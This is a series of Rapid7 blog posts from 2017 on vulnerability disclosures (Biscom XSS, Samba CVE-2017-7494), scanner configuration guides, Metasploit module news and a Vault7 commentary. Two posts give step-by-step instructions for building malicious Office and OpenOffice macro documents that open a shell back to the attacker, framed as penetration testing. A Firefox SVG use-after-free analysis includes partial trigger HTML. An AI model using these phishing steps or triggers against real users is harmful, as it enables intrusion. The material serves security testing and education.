Rapid7 Blog

Exploits  

R7-2017-06 | CVE-2017-5241: Biscom SFT XSS (FIXED)

Summary The Workspaces component of Biscom Secure File Transfer (SFT) version 5.1.1015 is vulnerable to stored cross-site scripting in two fields. An attacker would need to have the ability to create a Workspace and entice a victim to visit the malicious page in…

Summary The Workspaces component of Biscom Secure File Transfer (SFT) version 5.1.1015 is vulnerable to stored cross-site scripting in two fields. An attacker would need to have the ability to create a Workspace and entice a victim to visit the malicious page in order to run malicious Javascript in the context of the victim's browser. Since the victim is necessarily authenticated, this can allow the attacker to perform actions on the Biscom Secure File Transfer instance on the victim's behalf. Product Description Biscom Secure File Transfer (SFT) is a web-based solution that replaces insecure FTP and email, allowing end users to easily send and share files without IT involvement. More about the product is available on the vendor's web site. Credit These issues were discovered by Orlando Barrera II of Rapid7, Inc, and disclosed in accordance with Rapid7's vulnerability disclosure policy. Exploitation After authenticating to the Biscom Secure File Transfer web application, an attacker can alter the "Name" and "Description" fields of a Workspace, as shown in Figures 1, 2, and 3. In addition, the File Details component within a Workspace is also vulnerable to stored XSS injection. An attacker can save arbitrary Javascript in the "Description" field of the File Details pane of a file stored in a Workspace. Remediation As of version 5.1.1025, the issue has been resolved. Absent an update, a web application firewall (WAF) may prevent attackers from entering the malicious XSS, and/or protect users by stripping offending XSS. Vendor Response Security is the top priority for Biscom and we appreciate Rapid7 identifying this issue and bringing it to our attention.  Once we were informed, our team moved quickly to release a patch within a week to address the issue. Biscom is not aware of any customers being impacted by this issue and Biscom sees the likelihood as low since an authenticated user is required. Biscom values the sharing of security information and we thank Rapid7 in evaluating our application's security. Disclosure Timeline Biscom's response to this issue was exemplary, taking less than 30 days from private notification to a public fix, as seen in the timeline below. Thu, Mar 30, 2017: Discovered and reported by Orlando Barrera II Tue, Apr 04, 2017: Initial contact to the vendor Fri, Apr 07, 2017: Details disclosed to the vendor Thu, Apr 20, 2017: Disclosed to CERT/CC (VRF#17-04-VTJCJ) Wed, May 03, 2017: Fixed version 5.1.1025 provided by the vendor Wed, May 03, 2017: CVE-2017-5241 reserved by Rapid7 Tue, Jun 27, 2017: Public disclosure

Patching CVE-2017-7494 in Samba: It's the Circle of Life

With the scent of scorched internet still lingering in the air from the WannaCry Ransomworm, today we see a new scary-and-potentially-incendiary bug hitting the twitter news. The vulnerability - CVE-2017-7494 - affects versions 3.5 (released March 1, 2010) and onwards of Samba, the defacto…

With the scent of scorched internet still lingering in the air from the WannaCry Ransomworm, today we see a new scary-and-potentially-incendiary bug hitting the twitter news. The vulnerability - CVE-2017-7494 - affects versions 3.5 (released March 1, 2010) and onwards of Samba, the defacto standard for providing Windows-based file and print services on Unix and Linux systems. Check out Samba's advisory for more details. We strongly recommend that security and IT teams take immediate action to protect themselves. Who is affected? Many home and corporate network storage systems run Samba and it is frequently installed by default on many Linux systems, making it possible that some users are running Samba without realizing it. Given how easy it is to enable Samba on Linux endpoints, even devices requiring it to be manually enabled will not necessarily be in the clear. Samba makes it possible for Unix and Linux systems to share files the same way Windows does. While the WannaCry ransomworm impacted Windows systems and was easily identifiable, with clear remediation steps, the Samba vulnerability will impact Linux and Unix systems and could present significant technical obstacles to obtaining or deploying appropriate remediations. These obstacles will most likely present themselves in situations where devices are unmanaged by typical patch deployment solutions or don't allow OS-level patching by the user. As a result, we believe those systems may be likely conduits into business networks. How bad is it? The internet is not on fire yet, but there's a lot of potential for it to get pretty nasty. If there is a vulnerable version of Samba running on a device, and a malicious actor has access to upload files to that machine, exploitation is trivial. In a Project Sonar scan run today, Rapid7 Labs discovered more than 104,000 internet-exposed endpoints that appear to be running vulnerable versions of Samba on port 445. Of those, almost 90% (92,570) are running versions for which there is currently no direct patch available. In other words, “We're way beyond the boundary of the Pride Lands.” (sorry - we promise that's the last Lion King reference. Maybe.) We've been seeing a significant increase in malicious traffic to port 445 since May 19th; however, the recency of the WannaCry vulnerability makes it difficult for us to attribute this directly to the Samba vulnerability. It should be noted that proof-of-concept exploit code has already appeared on Twitter, and we are seeing Metasploit modules making their way into the community. We will continue to scan for potentially vulnerable endpoints and will provide an update on numbers in the next few days. RESEARCH UPDATE – 5/25/17 – We have now run a scan on port 139, which also exposes Samba endpoints. We found very similar numbers to those for the scan of port 445. On port 139, we found approximately 110,000 internet-exposed endpoints running vulnerable versions of Samba. Of these, about 91% (99,645) are running older, unsupported versions of Samba (pre-4.4). What should you do to protect yourself? The makers of Samba have provided a patch for versions 4.4 onwards. A workaround for unsupported and vulnerable older versions (3.5.x to 4.4.x) is available, and that same workaround can also be used for supported versions that cannot upgrade. We also recommend that users of older, affected versions upgrade to a more recent, supported version of Samba (4.4 or later) and then apply the available patch. Organizations should be reviewing their official asset and configuration management systems to immediately identify vulnerable systems and then perform comprehensive and regular full network vulnerability scans to identify misconfigured or rogue systems. Additionally, organizations should review their firewall rules to ensure that SMB/Samba network traffic is not allowed directly from the internet to their assets. Many network-attached storage (NAS) environments are used as network backup systems. A direct attack or worm would render those backups almost useless, so if patching cannot be done immediately, we recommend creating an offline copy of critical data as soon as possible. In addition, organizations should be monitoring all internal and external network traffic for increases in connections or connection attempts to Windows file sharing protocols. How can Rapid7 help? We are working on checks for Rapid7 InsightVM and Rapid7 Nexpose so customers can scan their environments for vulnerable endpoints and take mitigating action as quickly as possible. We also expect a module in the Metasploit Framework very soon, enabling security professionals to test the effectiveness of their mitigations, and understand the potential impact of exploitation. We will notify users of the availability of these solutions as soon as they are available. PRODUCT UPDATE – 5/25/17 – We have authenticated checks available for Samba CVE-2017-7494 in Rapid7 InsightVM and Rapid7 Nexpose.  The authenticated checks relate to vendor-specific fixes as follows: ubuntu-cve-2017-7494 debian-cve-2017-7494 freebsd-cve-2017-7494 oracle_linux-cve-2017-7494 redhat_linux-cve-2017-7494 suse-cve-2017-7494 PRODUCT UPDATE 2 – 5/25/17 – We now have both authenticated and unauthenticated remote checks in Rapid7 InsightVM and Rapid7 Nexpose. In the unauthenticated cases we use anonymous or guest login to gather the required information, and on systems that are hardened against that kind of login, the authenticated remote check is available. Not a Rapid7 customer? Scan your network with InsightVM to understand the impact this vulnerability has on your organization. We also have a step-by-step guide on how to scan for Samba CVE-2017-7494 using our vulnerability scanners. PRODUCT UPDATE 3 - 5/25/17 - We now have a Metasploit module available for this vulnerability, so you can see whether you can be exploited via Samba CVE-2017-7494, and understand the impact of such an attack. Download Metasploit to try it out. P.S. yes, we know the lion is called Simba. But who doesn't love a gratuitous and tenuous cartoon lion reference?! Rowr.

Samba CVE-2017-7494: Scanning and Remediating in InsightVM and Nexpose

Just when you'd finished wiping away your WannaCry tears, the interwebs dropped another bombshell: a nasty Samba vulnerability, CVE-2017-7494 (no snazzy name as of the publishing of this blog, but hopefully something with a Lion King reference will be created soon). As with WannaCry, we…

Just when you'd finished wiping away your WannaCry tears, the interwebs dropped another bombshell: a nasty Samba vulnerability, CVE-2017-7494 (no snazzy name as of the publishing of this blog, but hopefully something with a Lion King reference will be created soon). As with WannaCry, we wanted to keep this simple. First, check out Jen Ellis's overview of the Samba vulnerability, and then review the below steps to quickly scan for this vulnerability on your own infrastructure and create a dynamic asset group for tagging and reporting. If you aren't already a customer, you can use this free trial to scan for the Samba vulnerability across your environment. Authenticated checks are live in our vulnerability management solutions Nexpose and InsightVM, as well as unauthenticated and authenticated remote checks. Here is the InsightVM/Nexpose step-by-step guide to create a scan template specifically to look for CVE-2017-7494: 1. Under administration, go to manage templates. 2. Copy the following template: Full Audit enhanced logging without Web Spider. Don't forget to give your copy a name and description! 3. Click on Vulnerability Checks and then “By Individual Check” 4. Add Check “CVE-2017-7494” and click save. This should come back with 41 checks that are related to CVE-2017-7494. 5. Save the template and run a scan to identify all assets with CVE-2017-7494. Creating a Dynamic Asset Group for CVE-2017-7494 Now that you have your assets scanned, you may want to create a Dynamic Asset Group off of which to report/tag off of that will update itself whenever new assets are found with this vulnerability (and when they are fixed). To get started, click on the filter icon in the top right of the InsightVM console, just under the search button. Now, use the "CVE ID" filter to specify the CVE: This asset group can now be used for reporting as well as tagging to quickly identify exposed systems. Using these steps, you'll be able to quickly scan as well as report on the Samba vulnerability. Let us know if you have any more questions!

On the lookout for Intel AMT CVE-2017-5689

We've had some inquiries about checks for CVE-2017-5689, a vulnerability affecting Intel AMT devices. On May 5th, 2017, we released a potential vulnerability check that can help identify assets that may be vulnerable. We initially ran into issues with trying to determine the exact version…

We've had some inquiries about checks for CVE-2017-5689, a vulnerability affecting Intel AMT devices. On May 5th, 2017, we released a potential vulnerability check that can help identify assets that may be vulnerable. We initially ran into issues with trying to determine the exact version of the firmware remotely, and so a potential check was released so that you would still be able to identify devices that may be impacted by this.We didn't stop there though. As part of yesterday's Nexpose release, we issued an updated vulnerability check that is a remote direct condition test that will definitively identify the issue if it is present. Detection of this vulnerability does not require authentication to the asset.Please note, you will have to modify your scan template to include a couple of extra TCP ports: 16992 and 16993. To learn more about how to configure your scan template see this help page for details. Happy Hunting!UPDATE - May 12th, 2017: On Wednesday, May 10th, we also added an unauthenticated scanner in Metasploit to check for vulnerable systems in a network, gathering metadata such as firmware version, serial number, vendor, and model number.

Cisco Enable / Privileged Exec Support

In Nexpose version 6.4.28, we are adding support for privileged elevation on Cisco devices through enable command for those that are running SSH version 2.A fully privileged policy scan provides more accurate information on the target's compliance status, and the ability to…

In Nexpose version 6.4.28, we are adding support for privileged elevation on Cisco devices through enable command for those that are running SSH version 2.A fully privileged policy scan provides more accurate information on the target's compliance status, and the ability to do so through enable password, while keeping the actual user privilege low, adds an additional layer of security for your devices. This allows our users to run fully privileged policy scans on Cisco IOS without having to pre-configure the target with a user that has full privilege. Instead, they could enter the enable password in the credential window similar to how sudo elevation is set up.Simply navigate to the credential configuration page for SSH services and select Cisco Enable / privileged exec as your elevation type and enter your enable password as the elevation password, per the screenshot below:

Introducing Interactive Guides

Recently, Rapid7 took a step forward to deliver insight to our customers: our vulnerability management solutions now include the ability to deliver interactive guides. Guides are step-by-step workflows, built to deliver assistance to users at the right time. Guides are concise and may be absorbed…

Recently, Rapid7 took a step forward to deliver insight to our customers: our vulnerability management solutions now include the ability to deliver interactive guides. Guides are step-by-step workflows, built to deliver assistance to users at the right time. Guides are concise and may be absorbed with just a few clicks. They are available anytime on-demand within the user interface, so you can quickly and easily find the information you need, as you need it, where you will be applying it.Here's an example:How Guides WorkInteractive guides are powered by Pendo.io. As you navigate through the user interface, relevant guides are made available based on the area of the application in use. Pendo serves Rapid7 authored content directly to the user. The user's workstation must be connected to the internet to make use of these new capabilities. We understand this limits access for some of Rapid7's customers, but for most individuals, internet access has become as important as the keyboard or a monitor.To be clear, to receive guides, the user's workstation requires internet access. The machine hosting the Security Console does not require access to the internet.How are guides delivered in context?In order to determine which guides are relevant to a user in the moment, very specific information is transmitted to Pendo from the user's browser:The URL navigated toCSS element the user has clicked onA globally unique, random identifier for the userWith this information, Rapid7 is able to deliver very specific guidance to users when they need it, for improved experiences within the product. All data collected is anonymized, and all communications between the user's workstation and Pendo.io are encrypted with SSL/TLS. Is my Nexpose data transmitted?No data that is collected by Rapid7 Nexpose about your organization's assets or vulnerabilities is transmitted to Pendo or Rapid7:No personally identifiable information, such as email addresses, names or User IDs is transmitted.No vulnerability data is transmitted.No asset data is transmitted, inclusive of software, attributes, IP addresses, and other metadata.No information collected by Scan Engines or Agents is transmitted.To learn more on how Rapid7 and Pendo.io protect your information, please visit: http://rapid7.com/trust and http://www.pendo.io/support/trust/I don't see any guides. When will they be available?We're busy building guides right now. You can expect to see new guides in the coming weeks.What if I cannot participate, or do not want to participate?If your users have no access to the internet, then you won't be able to receive guides. No data will be transmitted and no guides will be delivered.If you do not wish to receive guides, you can easily disable the capability on the Security Console:Login to the machine hosting the Security Console as an administratorLocate and edit nsc.xml. The file is located in the “deploy/nsc/conf/nsc.xml” directory. For example “/opt/rapid7/deploy/nsc/conf/nsc.xml” in some Linux distributions. Make a copy of the file in case you need to revert the configuration.Edit or add the following element <Analytics enabled=”false” />. This element should be a direct child of <NexposeSecurityConsole />.This is a snippet of the nsc.xml file used to illustrate the format of the element. Your nsc.xml will differ.Changes will take effect during the next Console restart.Making inadvertent changes to the nsc.xml file can cause issues in your Security Console. Please contact Rapid7 Support for guidance or assistance.

Metasploit Wrapup

Faster, Meterpreter, KILL! KILL! You can now search for and kill processes by name in Meterpreter with the new pgrep and pkill commands. They both have flags similar to the older ps command, allowing you to filter by architecture (-a), user (-u), or to show…

Faster, Meterpreter, KILL! KILL! You can now search for and kill processes by name in Meterpreter with the new pgrep and pkill commands. They both have flags similar to the older ps command, allowing you to filter by architecture (-a), user (-u), or to show only child processes of the current session's process (-c). We've also added a -x flag to find processes with an exact match instead of a regex, if you're into that. Fun with radiation Craig Smith has been killing it lately with all his hardware exploitation techniques. Check out his post from earlier this week for details of his latest work on integrating radio reconaissance with Metasploit via the HWBridge, including crafting and examining radio frequency packets, brute force via amplitude modulation, and more! Java web things This update includes modules for two fun Java things: Struts2 and WebSphere. Struts is a Java web application framework often deployed on Tomcat, but it can run on any of the various servlet containers out there. The bug is in an error handler. Basically, if the Content-Type header sent by the client is malformed, it will cause an exception and send a stack trace back to the client. As part of its rendering process, Struts will treat the value of the header as part of a template. Templates can contain Object-Graph Navigation Language (OGNL) expressions meaning we get full code execution as the user running the web process. The exploit for this drops a file and runs it so your shells can strut their stuff. WebSphere is an application server manager. It is particularly interesting because it is often used to deploy code to clusters of application servers, which means popping one box can potentially give you code execution on dozens more. You used to pwn me on my cell phone While MMS messages aren't as common of a phishing vector as email, they can potentially be highly successful late at night when you need those shells. Now you can send SMS and MMS messages with Metasploit, using any SMTP server including GMail or Yahoo servers. Pair this with a malicious attachment such as the one generated by android/fileformat/adobe_reader_pdf_js_interface, or a link to the Stagefright browser exploit (android/browser/stagefright_mp4_tx3g_64bit), and get that holla back. New Modules Exploit modules (6 new) dnaLIMS Admin Module Command Execution by flakey_biscuit, and h00die exploits CVE-CVE-2017-6526 Logsign Remote Command Injection by Mehmet Ince Netgear R7000 and R6400 cgi-bin Command Injection by Acew0rm, and thecarterb exploits CVE-CVE-2016-6277 Apache Struts Jakarta Multipart Parser OGNL Injection by egyp7, Chorder, Jeffrey Martin, Nike.Zheng, and Nixawk exploits CVE-CVE-2017-5638 IBM WebSphere RCE Java Deserialization Vulnerability by Liatsis Fotios exploits CVE-CVE-2015-7450 SysGauge SMTP Validation Buffer Overflow by Chris Higgins, and Peter Baris Auxiliary and post modules (10 new) MMS Client by sinn3r SMS Client by sinn3r QNAP NAS/NVR Administrator Hash Disclosure by wvu, Donald Knuth, and bashis Easy File Sharing FTP Server 3.6 Directory Traversal by Ahmed Elhady Mohamed exploits CVE-CVE-2017-6510 DnaLIMS Directory Traversal by flakey_biscuit, and h00die exploits CVE-CVE-2017-6527 Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database by Karn Ganeshen mDNS Spoofer by James Lee, Joe Testa, and Robin Francois Brute Force AM/OOK (ie: Garage Doors) by Craig Smith RF Transceiver Transmitter by Craig Smith Sends Beacons to Scan for Active ZigBee Networks by Craig Smith Get it As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub: Pull Requsts 4.14.1...4.14.4 Full diff 4.14.1...4.14.4 To install fresh, check out the open-source-only Nightly Installers, or the binary installers which also include the commercial editions.

Exploiting Macros via Email with Metasploit Pro Social Engineering

Currently, phishing is seen as one of the largest infiltration points for businesses around the globe, but there is more to social engineering than just phishing. Attackers may use email and USB keys to deliver malicious files to users in the hopes of gaining access…

Currently, phishing is seen as one of the largest infiltration points for businesses around the globe, but there is more to social engineering than just phishing. Attackers may use email and USB keys to deliver malicious files to users in the hopes of gaining access to an organization's network. Users that are likely unaware that unsolicited files, such as a Microsoft Word document with a macro, may be malicious and can be a major risk to an organization. Metasploit Pro can assist in the education of employees about these attack vectors. Metasploit Pro's Social Engineering functionality is often used for its phishing capabilities, but it has other options - such as USB key drops and emailing of malicious files - that are able to obtain sessions on a target's device. As part of an internal training engagement or penetration test, these features will give more insight into the organization's defenses against social engineering attacks. This post will cover emailing malicious files utilizing the current Microsoft Word macro file format module. To begin, start a new custom campaign and configure your email starting with the email header and target list, similar to a phishing campaign. For Attack Type, select Attach File, give the attachment a name and select File format exploit. Search for “macro” and select “Microsoft Office Word Malicious Macro Execution”. This will create a Microsoft Word document with a macro that will deliver a payload and open a shell back to Metasploit Pro. Configure your target settings (I'll be using the OS X Python target for this example) and payload options. Then use the “BODY” field for the content of the Word document. (You can use plain text or xml formatted data, which will be injected between the <p> and </p> tags of the Word xml document.) And click OK. Click “NEXT” and format your email. Save your changes and configure your email server if you haven't done so already. Launch your campaign and the email(s) will be sent to all the members of your target list and a listener will be opened for the payload. The recipients will need to enable macros in order for the payload to launch. All those that enable the macro on the specified platform will have a shell that connects back to your Metasploit instance. Your campaign findings will list the number of targets, recipients that opened the email and number of sessions opened. If any sessions are opened, you'll be able to interact with that session as you would any others via the Sessions page. And there you have it. Metasploit has successfully sent malicious files and opened sessions on remote targets via the Social Engineering feature without attempting a phish. For more on the Microsoft Office Word Malicious Macro Execution module, see sinn3r's post here: /2017/03/08/attacking-micr osoft-office-openoffice-with-metasploit-macro-exploits Interested in learning more about Metasploit Pro's phishing capabilities? Watch the video below to see how easy it is to build a phishing campaign targeting your users to test their ability to detect malicious emails:

Apache Struts Vulnerability (CVE-2017-5638) Protection: Scanning with Nexpose

On March 9th, 2017 we highlighted the availability of a vulnerability check in Nexpose for CVE-2017-5638 – see the full blog post describing the Apache Struts vulnerability here. This check would be performed against the root URI of any HTTP/S endpoints discovered during a…

On March 9th, 2017 we highlighted the availability of a vulnerability check in Nexpose for CVE-2017-5638 – see the full blog post describing the Apache Struts vulnerability here. This check would be performed against the root URI of any HTTP/S endpoints discovered during a scan.On March 10th, 2017 we added an additional check that would work in conjunction with Nexpose's web spider functionality. This check will be performed against any URIs discovered with the suffix “.action” (the default configuration for Apache Struts apps).It may be necessary to configure your scan template to direct Nexpose to specific paths on web servers if they cannot be discovered during the default spidering process. If your app's URI is not linked to from any of these discovered pages, you will need to configure these paths. Follow the steps below to configure your scan template:Let's say you have 2 Apache Struts apps in the following locations:Example App URL 1: http://example.com/org/apps/myapp.actionExample App URL 2: http://example.com/other/org/different.actionIn Nexpose's web UI, select the scan template that you wish to use (Administration → Templates → manage)Go to the Web Spidering section of the template (WEB SPIDERING → PATHS) and then add all the paths you wish Nexpose to try accessing to the “Bootstrap paths” section. PLEASE NOTE: Each path must be followed by a trailing slash and are comma separated (e.g. /org/apps/,/other/org/):Once you configured the paths, save the changes to the template.Not a Nexpose customer and want to scan your network for the Apache Struts vulnerability? Download a free trial of Nexpose here.

Attacking Microsoft Office - OpenOffice with Metasploit Macro Exploits

It is fair to say that Microsoft Office and OpenOffice are some of the most popular applications in the world. We use them for writing papers, making slides for presentations, analyzing sales or financial data, and more. This software is so important to businesses that,…

It is fair to say that Microsoft Office and OpenOffice are some of the most popular applications in the world. We use them for writing papers, making slides for presentations, analyzing sales or financial data, and more. This software is so important to businesses that, even in developing countries, workers that are proficient in an Office suite can make a decent living based on this skill alone. Unfortunately, high popularity for software also means more high-value targets in the eyes of an attacker, and malware-infested Office macros are like an irritating rash that doesn't go away for IT professionals. A macro is a feature that allows users to create automated processes inside of a document used by software like Microsoft Word, Excel, or PowerPoint. This is used to enhance user experience, increase productivity, or automate otherwise manual tasks. But, in other words, it executes code. What kind of code? Well, pretty much whatever you want, even a Meterpreter session! Macro attacks are nothing new or unusual. A typical attack usually involves embedding malicious macro code in an Office document, sending it to the victim, and asking him or her very nicely to enable that code. The saddest part isn't how lame the attack is, since you are basically begging the victim to run your malware. It's that people have been falling for this trick for decades! The impact of such attacks should not be underestimated. In fact, malicious macros are often used in ransomware, and other high-profile breaches. For example, the Cerber Ransomware was a macro attack against Office 365 that put millions of users at risk. Since Office 365 is extremely popular in businesses, we expect it to be one of malicious macros' favorite audiences for quite some time. Yup, I think people call that social-engineering, and apparently it always works. I figured: "ok, why not, a shell is a shell. Let me write some exploits for these"... and that's how Metasploit's macro exploits were born: The Microsoft Office Macro Exploit This Microsoft Office macro exploit is specifically written for the Word document format. It has been tested against these environments: Microsoft Office 2010 for Windows Microsoft Office 2013 for Windows Microsoft Office 2016 for Windows Microsoft Office Word for Mac OS X 2011 The following demonstrates how to create a macro exploit for Microsoft Office for OS X, setting up a handler, as well as obtaining a session: If you actually have a valid certificate to sign the malicious macro, you can actually apply that by using Microsoft Office to sign it. Having a valid cert will not have the "Enable Content" prompt, Microsoft Office will just execute your code by default. However, this is obviously only ideal for internal use. Good certificates are expensive. The OpenOffice Macro Exploit The Apache OpenOffice macro exploit is specifically written for OpenOffice Writer (odt). It has been tested against these environments: Windows with Powershell support (which should be the case since Windows 7) Ubuntu Linux (which ships LibreOffice by default) OS X Unlike Microsoft, OpenOffice actually does not want to open any documents with macros, which means in order to attack, the victim has to manually do the following in advance: 1. Choose Tools -> Options -> Security 2. Click the Macro Security button 3. Change the security level to either medium to low. If the security level is set to medium, a prompt is presented to the user to either allow or disallow the macro. If set to low, the macro will run without warning. Now let's talk about how to use the exploit. The design for it is actually different than the Microsoft one: not only will it create the malicious document file, the module will also spawn a web server, and a payload handler. The purpose of the web server is when the victim runs the macro, the malicious code will download the final payload from our web server, and execute it. The following demonstrates how to use the exploit: Exploit Customization Although the Metasploit macro exploits work right out of the box, some cosmetic customizations are probably necessary to make the document look more legit and believable. To do this, you will need a copy of either Microsoft Office or OpenOffice (depending on the type of exploit you're using), and then: Generate the exploit Move the exploit to a platform with Office that can edit the document Open the document with Office, do your editing there. When you're done, simply click save. As long as you're not modifying the macro, it should still work Time to Play! Congratulations, young grasshopper! If you've read this far, and have not fallen asleep, then you are ready to start your journey of sweet Office macro pwnage. But before you leave, if you have never used Metasploit - a cyber weapon forged in the fires of um... Austin, Texas - then you shall download it here. If you already possess such power, then we strongly recommend you run msfupdate. Go now, embrace your destiny of pwnage, and let that glory be yours with Metasploit Office macro exploits.

Wikileaks Releases Vault7: Our First Impressions

What follows are some first impressions on the contents of the WikiLeaks Vault7 dump. I won't be addressing the legal or ethical concerns about posting classified data that can endanger the missions and goals of American intelligence organizations. I also won't be talking about whether…

What follows are some first impressions on the contents of the WikiLeaks Vault7 dump. I won't be addressing the legal or ethical concerns about posting classified data that can endanger the missions and goals of American intelligence organizations. I also won't be talking about whether or not the CIA should be involved in developing cyber capabilities in the first place as we have previously written about our views on this topic. But, I will talk about the technical content of the documents posted today, which all appear to come from a shared, cross-team internal Confluence wiki used by several CIA branches, groups, and teams.After spending the last few hours poring over the newly released material from WikiLeaks, Vault7, I'm left with the impression that the activities at the CIA with regards to developing cyber capabilities are... pretty normal.The material is primarily focused on the capabilities of "implants" -- applications that are installed on systems after they've been compromised -- and how they're used to exfiltrate data and maintain persistence after an initial compromise of a variety of devices from Samsung smart TVs to Apple iPhones to SOHO routers, and everything in between.The material also covers the command and control infrastructure that the CIA maintains to remotely use these implants; primarily, the details are concerned with building and testing the various components that makes up this network.Finally, there are the projects that are focused on exploits. The exploits described are either developed in-house, or acquired from external partners. Most of the internally developed exploits are designed to escalate privileges once access is secured, while most of the remote capabilities were acquired from other intelligence organizations and contractors. The CIA does appear to prefer to develop and use exploits that have a local, physical access component.While there is still a lot left to look at in detail, the overwhelming impression that I get from reading the material is that working on offensive tech at the CIA is pretty similar to working on any software project at any tech company. More to the point, the CIA activities detailed here are eerily similar to working on Metasploit at Rapid7. Take, for example, this post about the Meterpreter Mettle project from 2015 (which was written about the same time as these documents). Tell me that Mettle doesn't read like any one of the technical overviews in Vault7. As we spend more time digging through the Vault7 material, and if more material is released over time, I expect we'll be less and less surprised. So far, these documents show that the CIA branches and subgroups named in the documents are behaving pretty much exactly as one might expect of any software development shop. Yes, they happen to be developing exploit code. But, as we all know, that particular capability, in and of itself, isn't novel, illegal, or evil. Rapid7, along with many other security research organizations, both public and private, do it every day for normal and legitimate security purposes.Until I see something that's strikingly unusual, I'm having a hard time staying worked up over Vault7.

12 Days of HaXmas: A Fireside Foray into a Firefox Fracas

Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we're highlighting some of the “gifts” we want to give back to the community. And while these gifts…

Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we're highlighting some of the “gifts” we want to give back to the community. And while these gifts may not come wrapped with a bow, we hope you enjoy them. Towards the end of November, the Tor community was shaken up by the revelation of an previously unknown vulnerability being actively exploited against pedo^H^H^H^H Tor Browser users. Some further drama unfolded regarding who the source for the exploit may be, and I received questions from several reporters who wanted every single detail I could give them. While I did not participate in commenting at the time, I'll say everything I will ever say about it now: Yes, I'm aware of a very similar exploit which targeted Firefox No, I didn't write it Largely lost among all the noise are the nuances of the vulnerability and the exploit itself, which I know the author put his heart and soul into. If anonymous entrants are ever retroactively awarded Pwnies, I'd like to put his unsaid name into the hat. In this part of the 12 Days of HaXmas, I wanted to offer a high level overview to some of the more interesting parts of both the vulnerability—which in my opinion doesn't fit cleanly into any classic category—and the exploit. I'm not going to dive into all of the gory details for a couple of reasons. Firstly, timing. Had this been leaked earlier in the year, I might have been able to do the analysis part some justice. Second, while verbose technical expositions certainly have their place, a blog is not the right spot. The content might take take another 12 days to cover, and for those seeking to learn from it, I feel your own analysis of the exploit coupled with lots of dirty work in a debugger would be your best option. In that case, hopefully this can offer you some direction along the way. The Discovery It would be remiss of me if I didn't begin by pointing out that no fuzzer was used in the discovery of this vulnerability. The only tools employed were the Woboq Code Browser (Woboq Code Browser — Explore C code on the web), WinDBG, a sharp mind, and exhaustive effort. The era of low-hanging fruit is largely over in my opinion. Don't be the gorilla, be the lemur, climb that tree. The Vulnerability In the following snippet from nsSMILTimeContainer.cpp, the pointer p is initialized to the beginning of the mMilestoneEntries array. void nsSMILTimeContainer::NotifyTimeChange() { // Called when the container time is changed with respect to the document // time. When this happens time dependencies in other time containers need to // re-resolve their times because begin and end times are stored in container // time. // // To get the list of timed elements with dependencies we simply re-use the // milestone elements. This is because any timed element with dependents and // with significant transitions yet to fire should have their next milestone // registered. Other timed elements don't matter. const MilestoneEntry* p = mMilestoneEntries.Elements(); #if DEBUG uint32_t queueLength = mMilestoneEntries.Length(); #endif while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) { mozilla::dom::SVGAnimationElement* elem = p->mTimebase.get(); elem->TimedElement().HandleContainerTimeChange(); MOZ_ASSERT(queueLength == mMilestoneEntries.Length(), "Call to HandleContainerTimeChange resulted in a change to the " "queue of milestones"); ++p; } } Now, consider the following two examples: Exhibit One <html> <head> <title> Exhibit One </title> </head> <body> <svg id='foo'> <animate id='A' begin='1s' end='10s' /> <animate begin='A.end + 5s' dur='15s' /> </svg> </body> </html> Exhibit Two <html> <head> <title> Exhibit Two </title> </head> <body> <svg id='foo'> <animate id='A' begin='1s' end='10s' /> </svg> <svg id='bar'> <animate begin='A.end + 5s' dur='15s' /> </svg> </body> </html> In these examples, for each <svg> element that uses <animate>, an nsSMILTimeContainer object is assigned to it in order to perform time book keeping for the animations (<animateTransform> or <animateMotion> will also have the same behavior).  The epoch of each container is the time since the creation of the <svg> element it is assigned to relative to the creation of the page.  The nsSMILTimeContainer organizes each singular event in an animation with an entry for each in the mMilestoneEntries member array. See: nsSMILTimeContainer.h — DXR In Exhibit One, the mMilestoneEntries array will contain four entries: one for both the beginning and ending of 'A', in addition to another two, one being relative to A's completion (A.end + 5s), and the other demarcating the end of the animation, in this case 30 seconds (A.end + 5s + 15s). In Exhibit Two we see two independent <svg> elements.  In this example, two separate nsSMILTimeContainer objects will be created, each of course having it's own mMilestoneEntries array. The exploit makes a single call to the function pauseAnimation(), which in turn triggers entry into the NotifyTimeChange() method.  nsSMILTimeContainer::NotifyTimeChange() proceeds to iterate through all entries in the mMilestoneEntries array, retrieving each individual entries nsSMILTimedElement object, after which it calls the object's HandleContainerTimeChange() method.  After some time, this method will end up making a call to the NotifyChangedInterval() method of of the nsSMILTimedElement object.  In NotifyChangedInterval(), HandleChangedInterval() will be entered if the animation being processed has a milestone relative to another animation.  In Exhibit Two, bar's beginning is relative to the element A belonging to foo, so HandleChangedInterval() will be called. Within HandleChangedInterval(), a call to nsSMILTimeValueSpec::HandleChangedInstanceTime() will inevitably be made.  This method determines if the current animation element and the one it has a dependency on are contained within the same nsSMILTimeContainer object.  If so, as is the case with Exibit One, the pauseAnimations() function basically lives up to it's name and pauses them.  In Exhibit Two, the animations do not share the same nsSMILTimeContainer object, so additional bookkeeping is required in order to maintain synchronization.  This occurs, with subsequent calls to nsSMILTimedElement::UpdateInstanceTime() and nsSMILTimedElement::UpdateCurrentInterval() being made, and nothing too interesting is to be seen, though we will be revisiting it very shortly. Deeper down the rabbit hole ... What about the case of three or more animation elements with relative dependencies? Looking at the exploit, we see four animations split unequally among two containers.  We can modify Exhibit Two using details gleaned from the exploit to arrive at the following example. Exhibit Three <html> <head> <title> Exhibit Three </title> </head> <body> <script> var foo = document.getElementById('foo'); foo.pauseAnimations(); </script> <svg id='foo'> <animate id='A' begin='1s' end='5s' /> <animate id='B' begin='10s' end='C.end' dur='5s' /> </svg> <svg id='bar'> <animate id='C' begin='0s' end='A.end/> </svg> </body> </html> In this example, C's ending is relative to A's end, so we end up in nsSMILTimedElement::UpdateCurrentInterval() again, except that a different branch is followed based on the example's milestones: if (mElementState == STATE_ACTIVE) { // The interval is active so we can't just delete it, instead trim it so // that begin==end. if (!mCurrentInterval->End()->SameTimeAndBase(*mCurrentInterval->Begin())) { mCurrentInterval->SetEnd(*mCurrentInterval->Begin()); NotifyChangedInterval(mCurrentInterval, false, true); } // The transition to the postactive state will take place on the next // sample (along with firing end events, 